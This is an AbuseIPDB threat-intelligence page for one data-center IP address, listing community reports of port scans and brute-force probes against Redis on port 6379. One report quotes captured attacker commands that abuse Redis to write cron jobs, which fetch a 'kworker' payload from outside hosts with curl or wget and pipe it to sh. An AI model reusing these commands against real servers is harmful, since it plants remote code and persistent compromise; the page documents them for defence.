JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 52.226.214.210

52.226.214.210 was found in our database!

This IP was reported 30 times. Confidence of Abuse is 0%: ?

ISP	Microsoft Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS8075
Domain Name	microsoft.com
Country	🇺🇸 United States of America
City	Washington, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 52.226.214.210

Whois 52.226.214.210

IP Abuse Reports for 52.226.214.210:

This IP address has been reported a total of 30 times from 27 distinct sources. 52.226.214.210 was first reported on November 26th 2022, and the most recent report was 2 months ago.

Old Reports: The most recent abuse report for this IP address is from 2 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇦🇹 Pingger Shikkoken	2026-03-21 21:02:46 (2 months ago)	2026-03-21T21:02:46+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6 ... show more 2026-03-21T21:02:46+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6:2e:14:84:03:28:62:58:1a:08:00 SRC=52.226.214.210 DST=152.53.50.28 LEN=60 TOS=0x00 PREC=0x00 TTL=43 ID=50839 DF PROTO=TCP SPT=15680 DPT=6379 WINDOW=64240 RES=0x00 SYN URGP=0 show less	Hacking
🇨🇭 SOC [GOLINE SA]	2026-03-21 16:27:51 (2 months ago)	RoutePulse CyberSecurity detection: ml brute force. Severity: critical. Distinct targets: 1024. Dist ... show more RoutePulse CyberSecurity detection: ml brute force. Severity: critical. Distinct targets: 1024. Distinct ports: 1. Flow count: 1026. Bytes: 220960. Rule: Database Brute Force. Direction: outbound show less	Brute-Force SSH
🇹🇷 rtbh.com.tr	2026-03-21 16:12:17 (2 months ago)	list.rtbh.com.tr report: tcp/6379	Brute-Force
🇩🇪 bontekoe.technology	2026-03-21 16:02:23 (2 months ago)	Port scan or Brute-Force detected. (src_port=15680, dst_port=6379)	Brute-Force
Anonymous	2026-03-21 10:28:43 (2 months ago)	2026-03-21T11:28:42.246687+01:00 vps kernel: [35829156.386619] [PORTSCAN DETECTED] IN=ens3 OUT= MAC= ... show more 2026-03-21T11:28:42.246687+01:00 vps kernel: [35829156.386619] [PORTSCAN DETECTED] IN=ens3 OUT= MAC=fa:16:3e:66:f6:24:02:37:19:0d:c2:f3:08:00 SRC=52.226.214.210 DST=54.37.14.118 LEN=60 TOS=0x00 PREC=0x00 TTL=40 ID=48060 DF PROTO=TCP SPT=15680 DPT=6379 WINDOW=64240 RES=0x00 SYN URGP=0 ... show less	Port Scan Brute-Force
🇨🇭 TOCE	2026-03-20 07:57:26 (2 months ago)	2 hits seen on 2026-03-20, ports 6379 (REDIS) on a honeypot from www.toce.ch	Port Scan
🇬🇷 Xev	2026-03-18 19:00:41 (2 months ago)	Redis command execution Date: 2026-03-18 18:24:26 UTC Destination port: 6379 Executed commands: fl ... show more Redis command execution Date: 2026-03-18 18:24:26 UTC Destination port: 6379 Executed commands: flushall set backup1 /2 * * * cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup2 /3 * * * wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup3 /4 * * * curl -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup4 /5 * * * wd1 -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh config set dir /var/spool/cron/ config set dir /var/spool/cron/crontabs flushall set backup1 /2 * * * root cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup2 /3 * * * root wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup3 /4 * * * root curl -fsSL http://38.150.0.118/dewfhuewr4r89/98hy67//kworker \| sh set backup4 /5 * * * root wd1 -q -O- http://34.70.205.211... show less	IoT Targeted
🇩🇪 _ArminS_	2026-03-18 18:29:57 (2 months ago)	SP-Scan 15680:6379 detected 2026.03.18 19:29:57 blocked until 2026.05.07 13:32:44	Port Scan
🇸🇰 GOVCERT	2026-03-18 15:46:24 (2 months ago)	Sweep Scan	Port Scan
🇬🇧 OptimusGO	2026-03-18 15:21:18 (2 months ago)	Malicious activity detected: web_attack Server: commstackbc (185.127.18.66) Attack: web_attack Time ... show more Malicious activity detected: web_attack Server: commstackbc (185.127.18.66) Attack: web_attack Timestamp: 2026-03-18 15:21:17 UTC Log evidence: 03/18/2026-15:21:16.539196 [] [1:1000090:1] POLICY Unauthorized Management Port Access [] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 52.226.214.210:15680 -> 185.127.18.66:6379 03/18/2026-15:21:16.539196 [] [1:1000103:1] SECURITY Management Port Probe - CRITICAL [] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 52.226.214.210:15680 -> 185.127.18.66:6379 show less	Port Scan Brute-Force
🇺🇸 drewf.ink	2026-03-18 12:55:40 (2 months ago)	[12:55] Port scanning. Port(s) scanned: TCP/6379	Port Scan
🇹🇭 Sawasdee	2026-03-17 21:16:47 (2 months ago)	Port Scan ...	Port Scan
🇨🇭 Elysium Security	2026-03-17 18:10:48 (2 months ago)	Mass port scanning on a whole network	Port Scan
🇯🇵 mkaraki	2026-03-17 15:49:53 (2 months ago)	1773762580 # Service_probe # SIGNATURE_SEND # source_ip:52.226.214.210 # dst_port:6379 ...	Port Scan
🇨🇦 Slackin' Jack	2026-03-16 21:35:32 (2 months ago)	Triggered honeypot on port 6379. (52.226.214.210)	Port Scan

Showing 1 to 15 of 30 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇵🇭 118.193.73.8

🇻🇳 117.5.152.116

🇩🇪 104.233.19.166

🇨🇦 96.20.176.181

🇰🇬 92.62.76.237

🇳🇱 45.148.10.183

🇳🇱 45.148.10.141

🇳🇱 45.142.193.8

🇺🇬 41.75.178.14

🇺🇸 18.119.209.50

🇨🇦 4.239.240.98

🇧🇷 200.149.213.242

🇨🇴 170.78.42.78

🇺🇸 146.190.155.17

🇺🇸 104.28.152.173

🇫🇷 91.231.89.175

🇫🇷 89.93.38.171

🇫🇷 78.202.163.29

🇷🇴 2.57.121.112

🇲🇽 186.96.145.241